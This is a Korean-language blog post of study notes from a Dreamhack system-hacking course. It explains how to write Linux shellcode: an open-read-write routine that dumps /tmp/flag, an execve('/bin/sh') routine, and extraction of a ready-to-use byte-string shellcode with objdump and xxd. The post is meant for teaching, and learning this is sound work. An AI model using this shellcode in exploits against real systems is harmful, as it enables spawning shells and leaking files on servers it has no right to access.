[Dreamhack]Shellcode

최윤지·2024년 3월 14일

System Hacking

목록 보기
6/9

익스플로잇(Exploit): 해킹 분야에서 상대 시스템을 공격하는 것

셸코드(Shellcode)

: 익스플로잇을 위해 제작된 어셈블리 코드 조각

  • 셸을 획득하기 위한 목적으로 사용

orw 셸코드

: 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드

syscall

syscallraxarg0(rdi)arg1(rsi)arg2(rdx)
read0x00unsigned int fdchar *bufsize_t count
write0x01unsigned int fdconst char *bufsize_t count
open0x02const char *filenameint flagsumode_t mode
#예시: "/tmp/flag"를 읽는 셸코드 작성

char buf[0x30];

int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);

어셈블리로 구현

1. int fd = open("/tmp/flag", O_RDONLY, NULL)

syscallraxarg0(rdi)arg1(rsi)arg2(rdx)
open0x02const char *filenameint flagsumode_t mode

1) "/tmp/flag" 문자열을 메모리에 위치시키기
=> 0x616c662f706d742f67(/tmp/flag)를 push

  • 스택에는 8 바이트 단위로만 값을 push할 수 있음
    => 0x67을 먼저 push -> 0x616c662f706d742f를 push

2) rsp를 rdi로 옮김

3) O_RDONLY = 0 => rsi = 0으로 설정

4) mode는 의미X => rdx = 0으로 설정

5) rax를 open의 syscall 값인 2로 설정

#구현
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp	; rdi = "/tmp/flag"
xor rsi, rsi	; rsi = 0 ; RD_ONLY
xor rdx, rdx	; rdx = 0
mov rax, 2		; rax = 2 ; syscall_open
syscall			; open("/tmp/flag", RD_ONLY, NULL)

2. read(fd, buf, 0x30)

syscallraxarg0(rdi)arg1(rsi)arg2(rdx)
read0x00unsigned int fdchar *bufsize_t count

1) syscall의 반환 값은 rax로 저장
=> open으로 획득한 /tmp/flag의 fd는 rax에 저장됨

2) rax를 rdi에 대입

3) 0x30만큼 읽을 것이므로 rsi에 (rsp - 0x30) 대입

  • rsi: 파일에서 읽은 데이터를 저장할 주소

4) rdx = 0x30으로 설정

  • rdx: 파일로부터 읽어낼 데이터의 길이

5) read 시스템콜을 호출하기 위해 rax = 0으로 설정

#구현
mov rdi, rax	; rdi = fd
mov rsi, rsp
sub rsi, 0x30	; rsi = rsp - 0x30 	; buf
mov rdx, 0x30	; rdx = 0x30		; len
mov rax, 0x0	; rax = 0			; syscall_read
syscall			; read(fd, buf, 0x30)

3. write(1, buf, 0x30)

syscallraxarg0(rdi)arg1(rsi)arg2(rdx)
write0x01unsigned int fdconst char *bufsize_t count

1) 출력은 stdout => rdi = 0x1로 설정

2) rsi와 rdx는 read에서 사용한 값 그대로 사용

3) write 시스템콜을 호출하기 위해 rax = 1로 설정

#구현
mov rdi, 1		; rdi = 1 ; fd = stdout
mov rax, 0x1	; rax = 1 ; syscall_write
syscall			; write(fd, buf, 0x30)

컴파일 및 실행

스켈레톤 코드: 핵심 내용이 비어있는, 기본 구조만 갖춘 코드를 말함

# 최종 어셈블리 구현
;Name: orw.S

push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)
mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)
// orw.c
__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "push 0x67\n"
    "mov rax, 0x616c662f706d742f \n"
    "push rax\n"
    "mov rdi, rsp    # rdi = '/tmp/flag'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"
    "\n"
    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"
    "\n"
    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"
    "\n"
    "xor rdi, rdi      # rdi = 0\n"
    "mov rax, 0x3c	   # rax = sys_exit\n"
    "syscall		   # exit(0)");

void run_sh();

int main() { run_sh(); }

orw.c를 컴파일하고, 실행

만약 공격의 대상이 되는 시스템에서 이 셸코드를 실행할 수 있다면, 상대 서버의 자료를 유출해낼 수 있음

execve 셸코드

: 임의의 프로그램을 실행하는 셸코드, 이를 이용하면 서버의 셸을 획득할 수 있음

셸(Shell, 껍질): 운영체제에 명령을 내리기 위해 사용되는 사용자의 인터페이스

커널(Kernel, 호두 속 내용물): 운영체제의 핵심 기능을 하는 프로그램

리눅스는 대부분 sh, bash를 기본 셸 프로그램으로 탑재하고 있음

execve("/bin/sh", null, null)

execve 셸코드는 execve 시스템 콜만으로 구성

syscallraxarg0(rdi)arg1(rsi)arg2(rdx)
execve0x3bconst char *filenameconst char *const *argvconst char *const *envp

argv: 실행파일에 넘겨줄 인자
envp: 환경변수

sh만 실행하면 되므로 다른 값들은 전부 null로 설정해도 상관 X

리눅스에서는 기본 실행 프로그램들이 /bin/디렉토리에 저장되어 있으며, 실행할 sh도 여기 저장되어 있음

#예시
;Name: execve.S

mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp  ; rdi = "/bin/sh\x00"
xor rsi, rsi  ; rsi = NULL
xor rdx, rdx  ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall       ; execve("/bin/sh", null, null)

컴파일 및 실행

#예시
// execve.c

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "mov rax, 0x68732f6e69622f\n"
    "push rax\n"
    "mov rdi, rsp  # rdi = '/bin/sh'\n"
    "xor rsi, rsi  # rsi = NULL\n"
    "xor rdx, rdx  # rdx = NULL\n"
    "mov rax, 0x3b # rax = sys_execve\n"
    "syscall       # execve('/bin/sh', null, null)\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");

void run_sh();

int main() { run_sh(); }

컴파일 후 실행 결과로 sh가 실행된 것을 확인할 수 있음

objdump를 이용한 shellcode 추출

shellcode.asm

#예시
; shellcode.asm

section .text
global _start
_start:
xor    eax, eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx, esp
xor    ecx, ecx
xor    edx, edx
mov    al, 0xb
int    0x80

이를 바이트 코드로 변환하는 과정

step1. shellcode.o

$ sudo apt-get install nasm 
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o
shellcode.o:     file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
   0:	31 c0                	xor    %eax,%eax
   2:	50                   	push   %eax
   3:	68 2f 2f 73 68       	push   $0x68732f2f
   8:	68 2f 62 69 6e       	push   $0x6e69622f
   d:	89 e3                	mov    %esp,%ebx
   f:	31 c9                	xor    %ecx,%ecx
  11:	31 d2                	xor    %edx,%edx
  13:	b0 0b                	mov    $0xb,%al
  15:	cd 80                	int    $0x80

step2. shellcode.bin

$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331  1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80                        .1.....

shellcode string

# execve /bin/sh shellcode: 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"

0개의 댓글